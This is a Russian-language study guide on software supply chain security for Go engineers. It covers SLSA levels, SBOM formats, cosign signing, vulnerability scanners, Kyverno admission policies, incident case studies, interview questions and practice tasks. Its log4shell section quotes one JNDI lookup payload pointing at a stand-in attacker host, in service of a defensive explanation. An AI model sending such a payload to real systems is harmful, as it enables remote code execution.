Перейти к содержимому

Supply Chain Security, SBOM, Sigstore, SLSA

Зачем знать на Middle 3: атаки через зависимости стали мейнстримом — SolarWinds (2020), log4shell (2021), xz-utils backdoor (2024) показали, что доверять пакетам “просто потому что популярно” — нельзя. Tech lead обязан понимать SLSA уровни, генерировать SBOM в CI/CD, использовать govulncheck, подписывать артефакты через cosign и проверять подписи на admission в кластере. Это не теория — это часть compliance checklist для финтеха и SaaS.

  1. Концепция
  2. Глубже: SLSA, SBOM-форматы, Sigstore stack, govulncheck
  3. Gotchas / Best practices
  4. Real cases (SolarWinds, log4shell, ua-parser-js, xz)
  5. Вопросы (20)
  6. Practice
  7. Источники

Software supply chain — путь от исходника до запуска в проде:

developer repo CI/CD registry k8s
commit --> GitHub --> build (lint, Docker Hub --> apply
test, image) gcr.io
ECR

Атакующая поверхность:

  • Зависимости (npm, PyPI, Go modules) — typosquatting, malicious update.
  • Build agent (GitHub Actions runner) — compromised.
  • Container image base — backdoored.
  • Registry — supply chain push.
  • Cluster — admission bypass.
ГодАтакаЧто произошло
2020SolarWindsСборка Orion подменена; backdoor распространён 18k клиентам.
2021log4shell (CVE-2021-44228)JNDI injection в log4j 2.x → RCE.
2021ua-parser-jsHijack npm-аккаунта, malicious release.
2022event-stream / colors.jsMaintainer добавил sabotage.
2024xz-utils CVE-2024-3094Социальная инженерия: maintainer внедрил backdoor в SSH daemon через xz.

Вывод: безопасность зависит от процессов, не только кода.

Google-driven framework (https://slsa.dev). 4 уровня зрелости:

  • L1: автоматизированный build + provenance (метаданные о сборке).
  • L2: hosted build platform + signed provenance.
  • L3: source/build platform isolation + non-forgeable provenance.
  • L4: hermetic (без интернета) + two-party review всех изменений.

SLSA — не sertifikat, а roadmap.

SBOM — список всех компонентов в артефакте (зависимости, версии, лицензии, хеши).

Форматы:

  • SPDX (Software Package Data Exchange, ISO/IEC 5962:2021).
  • CycloneDX (OWASP, более гибкий, JSON-friendly).

SBOM генерится из:

  • go.mod / go.sum (Go).
  • package-lock.json (Node).
  • Container image layers.

Зачем:

  • Знать что у тебя установлено (response на CVE).
  • Аудит compliance.
  • Vulnerability scanning.

OSS стек для signing/verification:

  • cosign — CLI для подписи образов, blobs.
  • rekor — публичный transparency log (immutable, как Certificate Transparency).
  • fulcio — CA, выдающий ephemeral сертификаты на основе OIDC identity (GitHub Actions, Google account).
  • Keyless signing: ключи не нужны — identity берётся из OIDC token, cert выдаётся на 10 минут, подпись пишется в rekor.

syft (Anchore):

Окно терминала
syft dir:./ -o spdx-json > sbom.spdx.json
syft packages dir:./ -o cyclonedx-json > sbom.cdx.json
syft scan ghcr.io/example/api:1.2.3 -o cyclonedx

Из container image:

Окно терминала
syft scan registry:gcr.io/distroless/static:nonroot -o spdx-json

Go-native:

Окно терминала
go install sigs.k8s.io/bom/cmd/bom@latest
bom generate -o sbom.spdx --image gcr.io/distroless/static:nonroot

govulncheck (golang.org/x/vuln/cmd/govulncheck):

  • Анализирует AST: находит вызовы уязвимых функций (не просто наличие модуля).
  • База: vuln.go.dev.
Окно терминала
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
govulncheck -mode=binary ./bin/api
govulncheck -json ./... > report.json

Пример вывода:

Vulnerability #1: GO-2023-1683
Decompression bomb in archive/tar
More info: https://pkg.go.dev/vuln/GO-2023-1683
Standard library
Found in: archive/tar@go1.19
Fixed in: archive/tar@go1.19.8
Example traces found:
#1: handler.go:42:18: api.UploadHandler calls tar.Reader.Next

trivy (Aqua Security):

Окно терминала
trivy image gcr.io/example/api:v1.2.3
trivy fs --severity HIGH,CRITICAL .
trivy sbom sbom.spdx.json

grype (Anchore):

Окно терминала
grype sbom:./sbom.spdx.json
Окно терминала
# Подписать container image
cosign sign --yes ghcr.io/example/api:v1.2.3
# Будет открыт OIDC flow: GitHub Actions / Google / Microsoft
# Fulcio выдаёт cert на 10 минут
# Подпись + cert + rekor log entry публикуются в registry

Проверка:

Окно терминала
cosign verify \
--certificate-identity-regexp "https://github.com/example/repo/.github/workflows/release.yml@.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/example/api:v1.2.3

В k8s — policy-controller или kyverno auto-verify на admission.

GitHub Actions может генерить provenance автоматически:

permissions:
id-token: write # для OIDC
contents: read
packages: write
attestations: write
jobs:
build:
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v1.10.0
with:
image: ghcr.io/example/api
digest: ${{ needs.build.outputs.digest }}

Получаемый файл provenance.intoto.jsonl содержит:

  • Builder identity.
  • Build invocation parameters.
  • Source repo + commit SHA.
  • Build metadata.

Verify:

Окно терминала
slsa-verifier verify-image \
--source-uri github.com/example/repo \
--source-tag v1.2.3 \
ghcr.io/example/api@sha256:...

Hermetic = детерминированный, без сетевых запросов в момент сборки.

В Go:

  • GOFLAGS=-mod=readonly — запрещает auto-update.
  • GOPROXY=https://your-proxy.com — локальный кеш.
  • GOSUMDB=sum.golang.org или off (если internal).
  • Vendor dependencies (go mod vendor) — все зависимости в репе.

Build:

FROM golang:1.22 AS build
WORKDIR /src
COPY . .
ENV GOFLAGS=-mod=vendor
ENV CGO_ENABLED=0
RUN go build -trimpath -ldflags="-s -w -buildid=" -o /out/api ./cmd/api

-trimpath убирает абсолютные пути → reproducible builds. -buildid= пустой → одинаковый бинарь.

Минимальные base images:

  • gcr.io/distroless/static-debian12:nonroot (~2MB) — для статических Go бинарей.
  • scratch (0MB) — только бинарь.
FROM gcr.io/distroless/static-debian12:nonroot AS final
COPY --from=build /out/api /api
USER nonroot:nonroot
ENTRYPOINT ["/api"]

Без shell, без apt — атакующему некуда лезть.

Dependabot (GitHub):

  • .github/dependabot.yml:
version: 2
updates:
- package-ecosystem: gomod
directory: /
schedule:
interval: daily
open-pull-requests-limit: 10

Renovate (mend.io) — более гибкий: grouping, schedules, auto-merge для patches.

Pin versions с replace directive в go.mod или require точной версии (без ~/^ — Go их не использует, но в дочерних модулях возможны конфликты).

Пример Kyverno policy:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-signed-images
spec:
validationFailureAction: enforce
rules:
- name: check-cosign-signature
match:
resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["ghcr.io/example/*"]
attestors:
- entries:
- keyless:
subject: "https://github.com/example/repo/.github/workflows/release.yml@*"
issuer: "https://token.actions.githubusercontent.com"

Любой pod с неподписанным образом отвергается.


⚠️ go get -u без review — может протащить malicious update. Используй Dependabot PRs.

⚠️ go.sum конфликт в PR — внимательно: возможно подмена хеша. CI должен запускать go mod verify.

⚠️ govulncheck режимы: -mode=source (по умолчанию) видит call graph, но требует source. -mode=binary работает по уже собранному бинарю, точность ниже.

⚠️ Reachability analysisgovulncheck отмечает только вызываемые уязвимые функции. Но если они в indirect dep через interface, иногда пропускает. Не полагайся только на это.

⚠️ SBOM не равно безопасность — он лишь inventory. Без vuln scanning и monitoring бесполезен.

⚠️ Container layers caching — base image обновляется, но в registry один и тот же latest tag. Pin by digest: gcr.io/distroless/static@sha256:abc....

⚠️ gcr.io/distroless/base содержит libc и shell. Если нужен static Go бинарь — distroless/static.

⚠️ CGO_ENABLED=1 + scratch = не запустится (нет libc). Либо CGO_ENABLED=0, либо distroless/base.

⚠️ cosign без --yes — интерактивный prompt. В CI добавляй.

⚠️ rekor публикует metadata. Не подписывай очень приватные проекты keyless: identity (email/repo) видна всем.

⚠️ GOPROXY=direct обходит proxy = риск, что origin модуль изменился. Используйте GOPROXY=https://proxy.golang.org,direct (fallback).

⚠️ Build cache poisoning: если build agent shared — кеш Go может быть подменён. Каждый сервис — свой ephemeral runner.

⚠️ Maintainer takeover: проверяй “Code Owners” критичных deps. Для критичных — fork внутрь, ревью каждой PR.

  • Pin dependencies by version + checksum (go.sum обязателен в git).
  • govulncheck в CI на каждом PR.
  • Multi-stage builds, не ship build tools.
  • Distroless / scratch для production.
  • Sign images, verify на admission.
  • SBOM в releases: attach к GitHub release.
  • Dependabot/Renovate + автотесты для patches.
  • Internal proxy для Go modules (Athens, JFrog).
  • Vendor critical deps для air-gapped окружений.
  • CI runners ephemeral, immutable.
  • Build provenance через SLSA generator.
  • Minimal permissions для CI (permissions: read по умолчанию).

Атакующие компрометировали build server, внедрили SUNBURST backdoor в подписанный Orion. Подпись прошла, потому что build pipeline уже был внутри периметра.

Уроки:

  • Изоляция build agents (L3 SLSA).
  • Reproducible builds — невозможно “положить” backdoor незаметно.
  • Two-person review.

JNDI lookup в log4j 2.x → RCE при логировании ${jndi:ldap://attacker.com/x}. CVSS 10. Triggered массовый аудит зависимостей.

Что помогло:

  • SBOM позволил быстро определить, у кого Java + log4j.
  • Реакция: emergency upgrade.

В Go-мире аналог — выявление вызовов в indirect deps. govulncheck решает.

Maintainer потерял npm-аккаунт (компрометация). Атакующий выпустил malicious patch. Пакет был очень популярен (7M downloads/week).

Защита:

  • npm 2FA для maintainers.
  • Cooldown period для popular packages.
  • Pin versions, audit lockfile.

Социальная инженерия: атакующий “Jia Tan” 2 года билдил репутацию, стал maintainer xz, добавил backdoor в release tarball (не в git!). Backdoor проникал в sshd через systemd.

Уроки:

  • Распространение через tarball, а не git — отдельная атакующая поверхность.
  • Reproducible builds выявили бы расхождение.
  • Maintainer burnout — реальный security risk.

Reddit production: каждый image подписан keyless через GitHub Actions OIDC. Kyverno проверяет на admission. Любой pod с unsigned image отвергается. Result: даже скомпрометированный CI с правом push в registry не может развернуть.


  1. Что такое SLSA и какие у него уровни?
  2. Чем SPDX отличается от CycloneDX?
  3. Как govulncheck отличает “vulnerable dep is present” от “vulnerable function is called”?
  4. Какие минимальные base images подойдут для Go (CGO=0)?
  5. Что такое keyless signing в cosign и где живёт identity?
  6. Зачем rekor transparency log?
  7. Что попадает в SLSA provenance attestation?
  8. Как Dependabot отличается от Renovate?
  9. Чем GOPROXY=off опасен?
  10. Что значит -trimpath и -buildid= для reproducible builds?
  11. Какие риски у go get -u в CI?
  12. Опиши процесс верификации подписанного образа на admission в Kubernetes.
  13. Почему latest тег opasen для security?
  14. Что такое typosquatting и как защититься?
  15. Чем атака xz-utils (2024) отличается от ua-parser-js (2021)?
  16. Как генерировать SBOM из running container?
  17. Что такое hermetic build?
  18. Какие permissions нужны GitHub Action для cosign keyless?
  19. Чем trivy отличается от grype?
  20. Почему один и тот же go mod tidy может дать разный go.sum на разных машинах? (трик)

  1. В существующем Go-проекте: добавить govulncheck step в GitHub Actions, разобрать первые алерты.
  2. Сгенерировать SBOM (syft) для своего сервиса в обоих форматах. Сравнить.
  3. Настроить multi-stage Dockerfile с distroless base, сравнить размер до/после.
  4. Подписать image через cosign keyless (GitHub Actions), проверить через cosign verify.
  5. Внедрить SLSA L3 provenance в build pipeline (slsa-github-generator).
  6. Настроить Kyverno policy: запретить непподписанные образы в namespace.
  7. Добавить Dependabot config для gomod + Docker. Включить auto-merge для patches.
  8. Воспроизвести “log4shell”-like сценарий: создать Go-сервис с уязвимой зависимостью, найти её через govulncheck с reachability.

  1. SLSA framework: https://slsa.dev
  2. SPDX: https://spdx.dev
  3. CycloneDX: https://cyclonedx.org
  4. Sigstore: https://www.sigstore.dev
  5. Go vulnerability database: https://vuln.go.dev
  6. govulncheck docs: https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck
  7. NIST SSDF (Secure Software Development Framework) — SP 800-218
  8. OWASP CycloneDX Specification
  9. CNCF “Software Supply Chain Best Practices” whitepaper
  10. SolarWinds Orion post-mortem (Microsoft, FireEye)
  11. log4shell technical writeup (LunaSec)
  12. xz-utils CVE-2024-3094 analysis (Andres Freund’s email)
  13. Kyverno policies: https://kyverno.io/policies/
  14. Renovate docs: https://docs.renovatebot.com
  15. Distroless: https://github.com/GoogleContainerTools/distroless
  16. SBOM Tool by Microsoft: https://github.com/microsoft/sbom-tool
  17. “Software Supply Chain Security” — book (Cassie Crossley, O’Reilly 2024)
  18. Go Modules Reference: https://go.dev/ref/mod
  19. CIS Software Supply Chain Security Guide
  20. Aqua Security trivy docs: https://aquasecurity.github.io/trivy/